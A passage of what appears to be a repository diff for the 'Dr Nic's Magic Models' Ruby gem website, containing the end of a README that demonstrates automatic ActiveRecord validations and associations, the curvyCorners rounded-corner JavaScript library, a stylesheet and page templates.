Nothing suspicious here. We have no validations and no associations. Just some plain old model classes.
UPDATE: To turn on magic validations, you now need to invoke <code>generate_validations</code> on defined classes. So, update your model classes:
<pre syntax="ruby">
class Person < ActiveRecord::Base
generate_validations
end
class Group < ActiveRecord::Base
generate_validations
end
class Membership < ActiveRecord::Base
generate_validations
end
</pre>
For this trick, we'll need an ordinary console session. Any old one lying around the house will do.
<pre>
ruby script/console
</pre>
Now a normal model class is valid until you explicitly add <code>validates_xxx</code> commands.
With Dr Nic's Magic Models:
<pre syntax="ruby">
person = Person.new
=> #<Person:0x393e0f8 @attributes={"lastname"=>"", "firstname"=>"", "email"=>""}, @new_record=true>
person.valid?
=> false
person.errors
=> #<ActiveRecord::Errors:0x3537b38 @errors={
"firstname"=>["can't be blank", "is too long (maximum is 255 characters)"],
"lastname"=>["can't be blank", "is too long (maximum is 255 characters)"],
"email"=>["can't be blank", "is too long (maximum is 255 characters)"]},
@base=#<Person:0x3538bf0 @errors=#<ActiveRecord::Errors:0x3537b38 ...>, @new_record=true,
@attributes={"lastname"=>nil, "firstname"=>nil, "email"=>nil}>>
</pre>
*Kapoow!* Instant validation! (NOTE: not as instant as it used to be - remember - you need to call <code>generate_validations</code> on each class as required)
Because you specified the three columns as <code>:null => false</code>,
your ActiveRecord models will now automagically generated <code>validates_presence_of</code>
for each non-null field, plus several other validations (since version 0.8.0).
Ok, we're just warming up.
Your models normally require association commands (<code>has_many</code>, <code>belongs_to</code>, etc, as
demonstrated above) to have the brilliantly simple support that Rails/ActiveRecords are known for.
Let's just watch what Dr Nic's Magic Models can do without any effort at all...
<pre syntax="ruby">
person = Person.create(:firstname => "Nic", :lastname => "Williams", :email => "drnicwilliams@gmail.com")
group = Group.create(:name => "Magic Models Forum", :description => "http://groups.google.com/magicmodels")
membership = Membership.create(:person => person, :group => group)
person.memberships.length
=> 1
membership.person
=> <Person:0x38898e8 @attributes={"lastname"=>"Williams", "firstname"=>"Nic",
"id"=>"1", "email"=>"drnicwilliams@gmail.com"}>
group.memberships
=> [<Membership:0x3c8cd70 @attributes={"group_id"=>"1", "id"=>"1", "person_id"=>"1"}>]
</pre>
That final association trick is a ripper. Automatic generation of <code>has_many :through</code> associations...
<pre syntax="ruby">
>> person.groups
=> [<Group:0x39047e0 @attributes={"name"=>"Magic Models Forum", "id"=>"1", "description"=>nil}>]
>> group.people
=> [<Person:0x3c33580 @attributes={"lastname"=>"Williams", "firstname"=>"Nic",
"id"=>"1", "email"=>"drnicwilliams@gmail.com"}>]
</pre>
h3. Drum roll...
Ladies and gentlemen. For my final feat of magical mastery, I'll ask you to do
something you've never done before. This illusion is akin to the "floating lady":http://www.toytent.com/Posters/985.html
illusion that has been passed down through generations of magicians.
Exit your console session.
DELETE your three model classes: <code>person.rb, group.rb, and membership.rb</code> from the
<code>app/models</code> folder. (You can always get them back via the model generator... be fearless!)
<pre>rm app/models/*.rb</pre>
Re-launch your console.
*drums are still rolling...*
Be prepared to applaud loudly...
<pre syntax="ruby">
>> Person
=> Person
</pre>
You applaud loudly, but watch for more...
<pre syntax="ruby">
>> Person.new.valid?
=> false
>> person = Person.find(1)
=> <Person:0x3958930 @attributes={"lastname"=>"Williams", "firstname"=>"Nic",
"id"=>"1", "email"=>"drnicwilliams@gmail.com"}>
>> person.valid?
=> true
>> person.memberships
=> [<Membership:0x393a000 @attributes={"group_id"=>"1", "id"=>"1", "person_id"=>"1"}>]
>> person.groups
=> [<Group:0x390df60 @attributes={"name"=>"Magic Models Forum", "id"=>"1", "description"=>nil}>]
</pre>
h3. Tada!
The end.
h3. Use modules to scope your magic
Only want to pick up tables starting with <code>blog_</code>?
<pre syntax="ruby">module Blog
magic_module :table_name_prefix => 'blog_'
end
Blog::Post.table_name # => 'blog_posts'
</pre>
h2. Dr Nic's Blog
"http://www.drnicwilliams.com":http://www.drnicwilliams.com - for future announcements and
other stories and things.
h2. Articles about Magic Models
* "Announcement":http://drnicwilliams.com/2006/08/07/ann-dr-nics-magic-models/
* "BTS - Class creation":http://drnicwilliams.com/2006/08/10/bts-magic-models-class-creation/
h2. Forum
"http://groups.google.com/group/magicmodels":http://groups.google.com/group/magicmodels
h2. Licence
This code is free to use under the terms of the MIT licence.
h2. Contact
Comments are welcome. Send an email to "Dr Nic Williams":mailto:drnicwilliams@gmail.com
or via his blog at "http://www.drnicwilliams.com":http://www.drnicwilliams.com

View File

@@ -0,0 +1,285 @@
/****************************************************************
* *
* curvyCorners *
* ------------ *
* *
* This script generates rounded corners for your divs. *
* *
* Version 1.2.9 *
* Copyright (c) 2006 Cameron Cooke *
* By: Cameron Cooke and Tim Hutchison. *
* *
* *
* Website: http://www.curvycorners.net *
* Email: info@totalinfinity.com *
* Forum: http://www.curvycorners.net/forum/ *
* *
* *
* This library is free software; you can redistribute *
* it and/or modify it under the terms of the GNU *
* Lesser General Public License as published by the *
* Free Software Foundation; either version 2.1 of the *
* License, or (at your option) any later version. *
* *
* This library is distributed in the hope that it will *
* be useful, but WITHOUT ANY WARRANTY; without even the *
* implied warranty of MERCHANTABILITY or FITNESS FOR A *
* PARTICULAR PURPOSE. See the GNU Lesser General Public *
* License for more details. *
* *
* You should have received a copy of the GNU Lesser *
* General Public License along with this library; *
* Inc., 59 Temple Place, Suite 330, Boston, *
* MA 02111-1307 USA *
* *
****************************************************************/
var isIE = navigator.userAgent.toLowerCase().indexOf("msie") > -1; var isMoz = document.implementation && document.implementation.createDocument; var isSafari = ((navigator.userAgent.toLowerCase().indexOf('safari')!=-1)&&(navigator.userAgent.toLowerCase().indexOf('mac')!=-1))?true:false; function curvyCorners()
{ if(typeof(arguments[0]) != "object") throw newCurvyError("First parameter of curvyCorners() must be an object."); if(typeof(arguments[1]) != "object" && typeof(arguments[1]) != "string") throw newCurvyError("Second parameter of curvyCorners() must be an object or a class name."); if(typeof(arguments[1]) == "string")
{ var startIndex = 0; var boxCol = getElementsByClass(arguments[1]);}
else
{ var startIndex = 1; var boxCol = arguments;}
var curvyCornersCol = new Array(); if(arguments[0].validTags)
var validElements = arguments[0].validTags; else
var validElements = ["div"]; for(var i = startIndex, j = boxCol.length; i < j; i++)
{ var currentTag = boxCol[i].tagName.toLowerCase(); if(inArray(validElements, currentTag) !== false)
{ curvyCornersCol[curvyCornersCol.length] = new curvyObject(arguments[0], boxCol[i]);}
}
this.objects = curvyCornersCol; this.applyCornersToAll = function()
{ for(var x = 0, k = this.objects.length; x < k; x++)
{ this.objects[x].applyCorners();}
}
}
function curvyObject()
{ this.box = arguments[1]; this.settings = arguments[0]; this.topContainer = null; this.bottomContainer = null; this.masterCorners = new Array(); this.contentDIV = null; var boxHeight = get_style(this.box, "height", "height"); var boxWidth = get_style(this.box, "width", "width"); var borderWidth = get_style(this.box, "borderTopWidth", "border-top-width"); var borderColour = get_style(this.box, "borderTopColor", "border-top-color"); var boxColour = get_style(this.box, "backgroundColor", "background-color"); var backgroundImage = get_style(this.box, "backgroundImage", "background-image"); var boxPosition = get_style(this.box, "position", "position"); var boxPadding = get_style(this.box, "paddingTop", "padding-top"); this.boxHeight = parseInt(((boxHeight != "" && boxHeight != "auto" && boxHeight.indexOf("%") == -1)? boxHeight.substring(0, boxHeight.indexOf("px")) : this.box.scrollHeight)); this.boxWidth = parseInt(((boxWidth != "" && boxWidth != "auto" && boxWidth.indexOf("%") == -1)? boxWidth.substring(0, boxWidth.indexOf("px")) : this.box.scrollWidth)); this.borderWidth = parseInt(((borderWidth != "" && borderWidth.indexOf("px") !== -1)? borderWidth.slice(0, borderWidth.indexOf("px")) : 0)); this.boxColour = format_colour(boxColour); this.boxPadding = parseInt(((boxPadding != "" && boxPadding.indexOf("px") !== -1)? boxPadding.slice(0, boxPadding.indexOf("px")) : 0)); this.borderColour = format_colour(borderColour); this.borderString = this.borderWidth + "px" + " solid " + this.borderColour; this.backgroundImage = ((backgroundImage != "none")? backgroundImage : ""); this.boxContent = this.box.innerHTML; if(boxPosition != "absolute") this.box.style.position = "relative"; this.box.style.padding = "0px"; if(isIE && boxWidth == "auto" && boxHeight == "auto") this.box.style.width = "100%"; if(this.settings.autoPad == true && this.boxPadding > 0)
this.box.innerHTML = ""; this.applyCorners = function()
{ for(var t = 0; t < 2; t++)
{ switch(t)
{ case 0:
if(this.settings.tl || this.settings.tr)
{ var newMainContainer = document.createElement("DIV"); newMainContainer.style.width = "100%"; newMainContainer.style.fontSize = "1px"; newMainContainer.style.overflow = "hidden"; newMainContainer.style.position = "absolute"; newMainContainer.style.paddingLeft = this.borderWidth + "px"; newMainContainer.style.paddingRight = this.borderWidth + "px"; var topMaxRadius = Math.max(this.settings.tl ? this.settings.tl.radius : 0, this.settings.tr ? this.settings.tr.radius : 0); newMainContainer.style.height = topMaxRadius + "px"; newMainContainer.style.top = 0 - topMaxRadius + "px"; newMainContainer.style.left = 0 - this.borderWidth + "px"; this.topContainer = this.box.appendChild(newMainContainer);}
break; case 1:
if(this.settings.bl || this.settings.br)
{ var newMainContainer = document.createElement("DIV"); newMainContainer.style.width = "100%"; newMainContainer.style.fontSize = "1px"; newMainContainer.style.overflow = "hidden"; newMainContainer.style.position = "absolute"; newMainContainer.style.paddingLeft = this.borderWidth + "px"; newMainContainer.style.paddingRight = this.borderWidth + "px"; var botMaxRadius = Math.max(this.settings.bl ? this.settings.bl.radius : 0, this.settings.br ? this.settings.br.radius : 0); newMainContainer.style.height = botMaxRadius + "px"; newMainContainer.style.bottom = 0 - botMaxRadius + "px"; newMainContainer.style.left = 0 - this.borderWidth + "px"; this.bottomContainer = this.box.appendChild(newMainContainer);}
break;}
}
if(this.topContainer) this.box.style.borderTopWidth = "0px"; if(this.bottomContainer) this.box.style.borderBottomWidth = "0px"; var corners = ["tr", "tl", "br", "bl"]; for(var i in corners)
{ if(i > -1 < 4)
{ var cc = corners[i]; if(!this.settings[cc])
{ if(((cc == "tr" || cc == "tl") && this.topContainer != null) || ((cc == "br" || cc == "bl") && this.bottomContainer != null))
{ var newCorner = document.createElement("DIV"); newCorner.style.position = "relative"; newCorner.style.fontSize = "1px"; newCorner.style.overflow = "hidden"; if(this.backgroundImage == "")
newCorner.style.backgroundColor = this.boxColour; else
newCorner.style.backgroundImage = this.backgroundImage; switch(cc)
{ case "tl":
newCorner.style.height = topMaxRadius - this.borderWidth + "px"; newCorner.style.marginRight = this.settings.tr.radius - (this.borderWidth*2) + "px"; newCorner.style.borderLeft = this.borderString; newCorner.style.borderTop = this.borderString; newCorner.style.left = -this.borderWidth + "px"; break; case "tr":
newCorner.style.height = topMaxRadius - this.borderWidth + "px"; newCorner.style.marginLeft = this.settings.tl.radius - (this.borderWidth*2) + "px"; newCorner.style.borderRight = this.borderString; newCorner.style.borderTop = this.borderString; newCorner.style.backgroundPosition = "-" + (topMaxRadius + this.borderWidth) + "px 0px"; newCorner.style.left = this.borderWidth + "px"; break; case "bl":
newCorner.style.height = botMaxRadius - this.borderWidth + "px"; newCorner.style.marginRight = this.settings.br.radius - (this.borderWidth*2) + "px"; newCorner.style.borderLeft = this.borderString; newCorner.style.borderBottom = this.borderString; newCorner.style.left = -this.borderWidth + "px"; newCorner.style.backgroundPosition = "-" + (this.borderWidth) + "px -" + (this.boxHeight + (botMaxRadius + this.borderWidth)) + "px"; break; case "br":
newCorner.style.height = botMaxRadius - this.borderWidth + "px"; newCorner.style.marginLeft = this.settings.bl.radius - (this.borderWidth*2) + "px"; newCorner.style.borderRight = this.borderString; newCorner.style.borderBottom = this.borderString; newCorner.style.left = this.borderWidth + "px"
newCorner.style.backgroundPosition = "-" + (botMaxRadius + this.borderWidth) + "px -" + (this.boxHeight + (botMaxRadius + this.borderWidth)) + "px"; break;}
}
}
else
{ if(this.masterCorners[this.settings[cc].radius])
{ var newCorner = this.masterCorners[this.settings[cc].radius].cloneNode(true);}
else
{ var newCorner = document.createElement("DIV"); newCorner.style.height = this.settings[cc].radius + "px"; newCorner.style.width = this.settings[cc].radius + "px"; newCorner.style.position = "absolute"; newCorner.style.fontSize = "1px"; newCorner.style.overflow = "hidden"; var borderRadius = parseInt(this.settings[cc].radius - this.borderWidth); for(var intx = 0, j = this.settings[cc].radius; intx < j; intx++)
{ if((intx +1) >= borderRadius)
var y1 = -1; else
var y1 = (Math.floor(Math.sqrt(Math.pow(borderRadius, 2) - Math.pow((intx+1), 2))) - 1); if(borderRadius != j)
{ if((intx) >= borderRadius)
var y2 = -1; else
var y2 = Math.ceil(Math.sqrt(Math.pow(borderRadius,2) - Math.pow(intx, 2))); if((intx+1) >= j)
var y3 = -1; else
var y3 = (Math.floor(Math.sqrt(Math.pow(j ,2) - Math.pow((intx+1), 2))) - 1);}
if((intx) >= j)
var y4 = -1; else
var y4 = Math.ceil(Math.sqrt(Math.pow(j ,2) - Math.pow(intx, 2))); if(y1 > -1) this.drawPixel(intx, 0, this.boxColour, 100, (y1+1), newCorner, -1, this.settings[cc].radius); if(borderRadius != j)
{ for(var inty = (y1 + 1); inty < y2; inty++)
{ if(this.settings.antiAlias)
{ if(this.backgroundImage != "")
{ var borderFract = (pixelFraction(intx, inty, borderRadius) * 100); if(borderFract < 30)
{ this.drawPixel(intx, inty, this.borderColour, 100, 1, newCorner, 0, this.settings[cc].radius);}
else
{ this.drawPixel(intx, inty, this.borderColour, 100, 1, newCorner, -1, this.settings[cc].radius);}
}
else
{ var pixelcolour = BlendColour(this.boxColour, this.borderColour, pixelFraction(intx, inty, borderRadius)); this.drawPixel(intx, inty, pixelcolour, 100, 1, newCorner, 0, this.settings[cc].radius, cc);}
}
}
if(this.settings.antiAlias)
{ if(y3 >= y2)
{ if (y2 == -1) y2 = 0; this.drawPixel(intx, y2, this.borderColour, 100, (y3 - y2 + 1), newCorner, 0, 0);}
}
else
{ if(y3 >= y1)
{ this.drawPixel(intx, (y1 + 1), this.borderColour, 100, (y3 - y1), newCorner, 0, 0);}
}
var outsideColour = this.borderColour;}
else
{ var outsideColour = this.boxColour; var y3 = y1;}
if(this.settings.antiAlias)
{ for(var inty = (y3 + 1); inty < y4; inty++)
{ this.drawPixel(intx, inty, outsideColour, (pixelFraction(intx, inty , j) * 100), 1, newCorner, ((this.borderWidth > 0)? 0 : -1), this.settings[cc].radius);}
}
}
this.masterCorners[this.settings[cc].radius] = newCorner.cloneNode(true);}
if(cc != "br")
{ for(var t = 0, k = newCorner.childNodes.length; t < k; t++)
{ var pixelBar = newCorner.childNodes[t]; var pixelBarTop = parseInt(pixelBar.style.top.substring(0, pixelBar.style.top.indexOf("px"))); var pixelBarLeft = parseInt(pixelBar.style.left.substring(0, pixelBar.style.left.indexOf("px"))); var pixelBarHeight = parseInt(pixelBar.style.height.substring(0, pixelBar.style.height.indexOf("px"))); if(cc == "tl" || cc == "bl"){ pixelBar.style.left = this.settings[cc].radius -pixelBarLeft -1 + "px";}
if(cc == "tr" || cc == "tl"){ pixelBar.style.top = this.settings[cc].radius -pixelBarHeight -pixelBarTop + "px";}
switch(cc)
{ case "tr":
pixelBar.style.backgroundPosition = "-" + Math.abs((this.boxWidth - this.settings[cc].radius + this.borderWidth) + pixelBarLeft) + "px -" + Math.abs(this.settings[cc].radius -pixelBarHeight -pixelBarTop - this.borderWidth) + "px"; break; case "tl":
pixelBar.style.backgroundPosition = "-" + Math.abs((this.settings[cc].radius -pixelBarLeft -1) - this.borderWidth) + "px -" + Math.abs(this.settings[cc].radius -pixelBarHeight -pixelBarTop - this.borderWidth) + "px"; break; case "bl":
pixelBar.style.backgroundPosition = "-" + Math.abs((this.settings[cc].radius -pixelBarLeft -1) - this.borderWidth) + "px -" + Math.abs((this.boxHeight + this.settings[cc].radius + pixelBarTop) -this.borderWidth) + "px"; break;}
}
}
}
if(newCorner)
{ switch(cc)
{ case "tl":
if(newCorner.style.position == "absolute") newCorner.style.top = "0px"; if(newCorner.style.position == "absolute") newCorner.style.left = "0px"; if(this.topContainer) this.topContainer.appendChild(newCorner); break; case "tr":
if(newCorner.style.position == "absolute") newCorner.style.top = "0px"; if(newCorner.style.position == "absolute") newCorner.style.right = "0px"; if(this.topContainer) this.topContainer.appendChild(newCorner); break; case "bl":
if(newCorner.style.position == "absolute") newCorner.style.bottom = "0px"; if(newCorner.style.position == "absolute") newCorner.style.left = "0px"; if(this.bottomContainer) this.bottomContainer.appendChild(newCorner); break; case "br":
if(newCorner.style.position == "absolute") newCorner.style.bottom = "0px"; if(newCorner.style.position == "absolute") newCorner.style.right = "0px"; if(this.bottomContainer) this.bottomContainer.appendChild(newCorner); break;}
}
}
}
var radiusDiff = new Array(); radiusDiff["t"] = Math.abs(this.settings.tl.radius - this.settings.tr.radius)
radiusDiff["b"] = Math.abs(this.settings.bl.radius - this.settings.br.radius); for(z in radiusDiff)
{ if(z == "t" || z == "b")
{ if(radiusDiff[z])
{ var smallerCornerType = ((this.settings[z + "l"].radius < this.settings[z + "r"].radius)? z +"l" : z +"r"); var newFiller = document.createElement("DIV"); newFiller.style.height = radiusDiff[z] + "px"; newFiller.style.width = this.settings[smallerCornerType].radius+ "px"
newFiller.style.position = "absolute"; newFiller.style.fontSize = "1px"; newFiller.style.overflow = "hidden"; newFiller.style.backgroundColor = this.boxColour; switch(smallerCornerType)
{ case "tl":
newFiller.style.bottom = "0px"; newFiller.style.left = "0px"; newFiller.style.borderLeft = this.borderString; this.topContainer.appendChild(newFiller); break; case "tr":
newFiller.style.bottom = "0px"; newFiller.style.right = "0px"; newFiller.style.borderRight = this.borderString; this.topContainer.appendChild(newFiller); break; case "bl":
newFiller.style.top = "0px"; newFiller.style.left = "0px"; newFiller.style.borderLeft = this.borderString; this.bottomContainer.appendChild(newFiller); break; case "br":
newFiller.style.top = "0px"; newFiller.style.right = "0px"; newFiller.style.borderRight = this.borderString; this.bottomContainer.appendChild(newFiller); break;}
}
var newFillerBar = document.createElement("DIV"); newFillerBar.style.position = "relative"; newFillerBar.style.fontSize = "1px"; newFillerBar.style.overflow = "hidden"; newFillerBar.style.backgroundColor = this.boxColour; newFillerBar.style.backgroundImage = this.backgroundImage; switch(z)
{ case "t":
if(this.topContainer)
{ if(this.settings.tl.radius && this.settings.tr.radius)
{ newFillerBar.style.height = topMaxRadius - this.borderWidth + "px"; newFillerBar.style.marginLeft = this.settings.tl.radius - this.borderWidth + "px"; newFillerBar.style.marginRight = this.settings.tr.radius - this.borderWidth + "px"; newFillerBar.style.borderTop = this.borderString; if(this.backgroundImage != "")
newFillerBar.style.backgroundPosition = "-" + (topMaxRadius + this.borderWidth) + "px 0px"; this.topContainer.appendChild(newFillerBar);}
this.box.style.backgroundPosition = "0px -" + (topMaxRadius - this.borderWidth) + "px";}
break; case "b":
if(this.bottomContainer)
{ if(this.settings.bl.radius && this.settings.br.radius)
{ newFillerBar.style.height = botMaxRadius - this.borderWidth + "px"; newFillerBar.style.marginLeft = this.settings.bl.radius - this.borderWidth + "px"; newFillerBar.style.marginRight = this.settings.br.radius - this.borderWidth + "px"; newFillerBar.style.borderBottom = this.borderString; if(this.backgroundImage != "")
newFillerBar.style.backgroundPosition = "-" + (botMaxRadius + this.borderWidth) + "px -" + (this.boxHeight + (topMaxRadius + this.borderWidth)) + "px"; this.bottomContainer.appendChild(newFillerBar);}
}
break;}
}
}
if(this.settings.autoPad == true && this.boxPadding > 0)
{ var contentContainer = document.createElement("DIV"); contentContainer.style.position = "relative"; contentContainer.innerHTML = this.boxContent; contentContainer.className = "autoPadDiv"; var topPadding = Math.abs(topMaxRadius - this.boxPadding); var botPadding = Math.abs(botMaxRadius - this.boxPadding); if(topMaxRadius < this.boxPadding)
contentContainer.style.paddingTop = topPadding + "px"; if(botMaxRadius < this.boxPadding)
contentContainer.style.paddingBottom = botMaxRadius + "px"; contentContainer.style.paddingLeft = this.boxPadding + "px"; contentContainer.style.paddingRight = this.boxPadding + "px"; this.contentDIV = this.box.appendChild(contentContainer);}
}
this.drawPixel = function(intx, inty, colour, transAmount, height, newCorner, image, cornerRadius)
{ var pixel = document.createElement("DIV"); pixel.style.height = height + "px"; pixel.style.width = "1px"; pixel.style.position = "absolute"; pixel.style.fontSize = "1px"; pixel.style.overflow = "hidden"; var topMaxRadius = Math.max(this.settings["tr"].radius, this.settings["tl"].radius); if(image == -1 && this.backgroundImage != "")
{ pixel.style.backgroundImage = this.backgroundImage; pixel.style.backgroundPosition = "-" + (this.boxWidth - (cornerRadius - intx) + this.borderWidth) + "px -" + ((this.boxHeight + topMaxRadius + inty) -this.borderWidth) + "px";}
else
{ pixel.style.backgroundColor = colour;}
if (transAmount != 100)
setOpacity(pixel, transAmount); pixel.style.top = inty + "px"; pixel.style.left = intx + "px"; newCorner.appendChild(pixel);}
}
function insertAfter(parent, node, referenceNode)
{ parent.insertBefore(node, referenceNode.nextSibling);}
function BlendColour(Col1, Col2, Col1Fraction)
{ var red1 = parseInt(Col1.substr(1,2),16); var green1 = parseInt(Col1.substr(3,2),16); var blue1 = parseInt(Col1.substr(5,2),16); var red2 = parseInt(Col2.substr(1,2),16); var green2 = parseInt(Col2.substr(3,2),16); var blue2 = parseInt(Col2.substr(5,2),16); if(Col1Fraction > 1 || Col1Fraction < 0) Col1Fraction = 1; var endRed = Math.round((red1 * Col1Fraction) + (red2 * (1 - Col1Fraction))); if(endRed > 255) endRed = 255; if(endRed < 0) endRed = 0; var endGreen = Math.round((green1 * Col1Fraction) + (green2 * (1 - Col1Fraction))); if(endGreen > 255) endGreen = 255; if(endGreen < 0) endGreen = 0; var endBlue = Math.round((blue1 * Col1Fraction) + (blue2 * (1 - Col1Fraction))); if(endBlue > 255) endBlue = 255; if(endBlue < 0) endBlue = 0; return "#" + IntToHex(endRed)+ IntToHex(endGreen)+ IntToHex(endBlue);}
function IntToHex(strNum)
{ base = strNum / 16; rem = strNum % 16; base = base - (rem / 16); baseS = MakeHex(base); remS = MakeHex(rem); return baseS + '' + remS;}
function MakeHex(x)
{ if((x >= 0) && (x <= 9))
{ return x;}
else
{ switch(x)
{ case 10: return "A"; case 11: return "B"; case 12: return "C"; case 13: return "D"; case 14: return "E"; case 15: return "F";}
}
}
function pixelFraction(x, y, r)
{ var pixelfraction = 0; var xvalues = new Array(1); var yvalues = new Array(1); var point = 0; var whatsides = ""; var intersect = Math.sqrt((Math.pow(r,2) - Math.pow(x,2))); if ((intersect >= y) && (intersect < (y+1)))
{ whatsides = "Left"; xvalues[point] = 0; yvalues[point] = intersect - y; point = point + 1;}
var intersect = Math.sqrt((Math.pow(r,2) - Math.pow(y+1,2))); if ((intersect >= x) && (intersect < (x+1)))
{ whatsides = whatsides + "Top"; xvalues[point] = intersect - x; yvalues[point] = 1; point = point + 1;}
var intersect = Math.sqrt((Math.pow(r,2) - Math.pow(x+1,2))); if ((intersect >= y) && (intersect < (y+1)))
{ whatsides = whatsides + "Right"; xvalues[point] = 1; yvalues[point] = intersect - y; point = point + 1;}
var intersect = Math.sqrt((Math.pow(r,2) - Math.pow(y,2))); if ((intersect >= x) && (intersect < (x+1)))
{ whatsides = whatsides + "Bottom"; xvalues[point] = intersect - x; yvalues[point] = 0;}
switch (whatsides)
{ case "LeftRight":
pixelfraction = Math.min(yvalues[0],yvalues[1]) + ((Math.max(yvalues[0],yvalues[1]) - Math.min(yvalues[0],yvalues[1]))/2); break; case "TopRight":
pixelfraction = 1-(((1-xvalues[0])*(1-yvalues[1]))/2); break; case "TopBottom":
pixelfraction = Math.min(xvalues[0],xvalues[1]) + ((Math.max(xvalues[0],xvalues[1]) - Math.min(xvalues[0],xvalues[1]))/2); break; case "LeftBottom":
pixelfraction = (yvalues[0]*xvalues[1])/2; break; default:
pixelfraction = 1;}
return pixelfraction;}
function rgb2Hex(rgbColour)
{ try{ var rgbArray = rgb2Array(rgbColour); var red = parseInt(rgbArray[0]); var green = parseInt(rgbArray[1]); var blue = parseInt(rgbArray[2]); var hexColour = "#" + IntToHex(red) + IntToHex(green) + IntToHex(blue);}
catch(e){ alert("There was an error converting the RGB value to Hexadecimal in function rgb2Hex");}
return hexColour;}
function rgb2Array(rgbColour)
{ var rgbValues = rgbColour.substring(4, rgbColour.indexOf(")")); var rgbArray = rgbValues.split(", "); return rgbArray;}
function setOpacity(obj, opacity)
{ opacity = (opacity == 100)?99.999:opacity; if(isSafari && obj.tagName != "IFRAME")
{ var rgbArray = rgb2Array(obj.style.backgroundColor); var red = parseInt(rgbArray[0]); var green = parseInt(rgbArray[1]); var blue = parseInt(rgbArray[2]); obj.style.backgroundColor = "rgba(" + red + ", " + green + ", " + blue + ", " + opacity/100 + ")";}
else if(typeof(obj.style.opacity) != "undefined")
{ obj.style.opacity = opacity/100;}
else if(typeof(obj.style.MozOpacity) != "undefined")
{ obj.style.MozOpacity = opacity/100;}
else if(typeof(obj.style.filter) != "undefined")
{ obj.style.filter = "alpha(opacity:" + opacity + ")";}
else if(typeof(obj.style.KHTMLOpacity) != "undefined")
{ obj.style.KHTMLOpacity = opacity/100;}
}
function inArray(array, value)
{ for(var i = 0; i < array.length; i++){ if (array[i] === value) return i;}
return false;}
function inArrayKey(array, value)
{ for(key in array){ if(key === value) return true;}
return false;}
function addEvent(elm, evType, fn, useCapture) { if (elm.addEventListener) { elm.addEventListener(evType, fn, useCapture); return true;}
else if (elm.attachEvent) { var r = elm.attachEvent('on' + evType, fn); return r;}
else { elm['on' + evType] = fn;}
}
function removeEvent(obj, evType, fn, useCapture){ if (obj.removeEventListener){ obj.removeEventListener(evType, fn, useCapture); return true;} else if (obj.detachEvent){ var r = obj.detachEvent("on"+evType, fn); return r;} else { alert("Handler could not be removed");}
}
function format_colour(colour)
{ var returnColour = "#ffffff"; if(colour != "" && colour != "transparent")
{ if(colour.substr(0, 3) == "rgb")
{ returnColour = rgb2Hex(colour);}
else if(colour.length == 4)
{ returnColour = "#" + colour.substring(1, 2) + colour.substring(1, 2) + colour.substring(2, 3) + colour.substring(2, 3) + colour.substring(3, 4) + colour.substring(3, 4);}
else
{ returnColour = colour;}
}
return returnColour;}
function get_style(obj, property, propertyNS)
{ try
{ if(obj.currentStyle)
{ var returnVal = eval("obj.currentStyle." + property);}
else
{ if(isSafari && obj.style.display == "none")
{ obj.style.display = ""; var wasHidden = true;}
var returnVal = document.defaultView.getComputedStyle(obj, '').getPropertyValue(propertyNS); if(isSafari && wasHidden)
{ obj.style.display = "none";}
}
}
catch(e)
{ }
return returnVal;}
function getElementsByClass(searchClass, node, tag)
{ var classElements = new Array(); if(node == null)
node = document; if(tag == null)
tag = '*'; var els = node.getElementsByTagName(tag); var elsLen = els.length; var pattern = new RegExp("(^|\s)"+searchClass+"(\s|$)"); for (i = 0, j = 0; i < elsLen; i++)
{ if(pattern.test(els[i].className))
{ classElements[j] = els[i]; j++;}
}
return classElements;}
function newCurvyError(errorMessage)
{ return new Error("curvyCorners Error:\n" + errorMessage)
}

View File

@@ -0,0 +1,96 @@
body {
background-color: #115;
font-family: "Georgia", sans-serif;
font-size: 16px;
line-height: 1.6em;
padding: 1.6em 0 0 0;
color: #eee;
}
h1, h2, h3, h4, h5, h6 {
color: #77f;
}
h1 {
font-family: sans-serif;
font-weight: normal;
font-size: 4em;
line-height: 0.8em;
letter-spacing: -0.1ex;
}
li {
padding: 0;
margin: 0;
list-style-type: square;
}
a {
color: #99f;
font-weight: normal;
text-decoration: underline;
}
blockquote {
font-size: 90%;
font-style: italic;
border-left: 1px solid #eee;
padding-left: 1em;
}
.caps {
font-size: 80%;
}
#main {
width: 55em;
padding: 0;
margin: 0 auto;
}
.coda {
text-align: right;
color: #77f;
font-size: smaller;
}
pre, code {
font-family: monospace;
font-size: 90%;
line-height: 1.4em;
color: #ff8;
background-color: #111;
padding: 2px 10px 2px 10px;
}
.comment { color: #aaa; font-style: italic; }
.keyword { color: #eff; font-weight: bold; }
.punct { color: #eee; font-weight: bold; }
.symbol { color: #0bb; }
.string { color: #6b4; }
.ident { color: #ff8; }
.constant { color: #66f; }
.regex { color: #ec6; }
.number { color: #F99; }
.expr { color: #227; }
#version {
float: right;
text-align: right;
font-family: sans-serif;
font-weight: normal;
background-color: #ff8;
color: #66f;
padding: 15px 20px 10px 20px;
margin: 0 auto;
border: 3px solid #66f;
}
#version .numbers {
display: block;
font-size: 4em;
line-height: 0.8em;
letter-spacing: -0.1ex;
}
#version a {
text-decoration: none;
}
.clickable {
cursor: pointer;
cursor: hand;
}

View File

@@ -0,0 +1,3 @@
// <%= title %>
var version = <%= version.to_json %>;
<%= body %>

View File

@@ -0,0 +1,55 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<link rel="stylesheet" href="stylesheets/screen.css" type="text/css" media="screen" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>
<%= title %>
</title>
<script src="javascripts/rounded_corners_lite.inc.js" type="text/javascript"></script>
<style>
</style>
<script type="text/javascript" src="version-raw.js"></script>
<script type="text/javascript">
window.onload = function() {
settings = {
tl: { radius: 10 },
tr: { radius: 10 },
bl: { radius: 10 },
br: { radius: 10 },
antiAlias: true,
autoPad: true,
validTags: ["div"]
}
var versionBox = new curvyCorners(settings, document.getElementById("version"));
versionBox.applyCornersToAll();
document.getElementById("version_num").innerHTML = version;
}
</script>
</head>
<body>
<div id="main">
<p><a href="/">&#x21A9; More Magic</a></p>
<div id="version" class="clickable" onclick='document.location = "<%= download %>"; return false'>
Get Version
<a id="version_num" href="<%= download %>" class="numbers"></a>
</div>
<h1><%= title %></h1>
<%= body %>
<p class="coda">
<a href="mailto:drnicwilliams@gmail.com">Dr Nic</a>, <%= modified.pretty %><br>
Theme extended from <a href="http://rb2js.rubyforge.org/">Paul Battley</a>
</p>
</div>
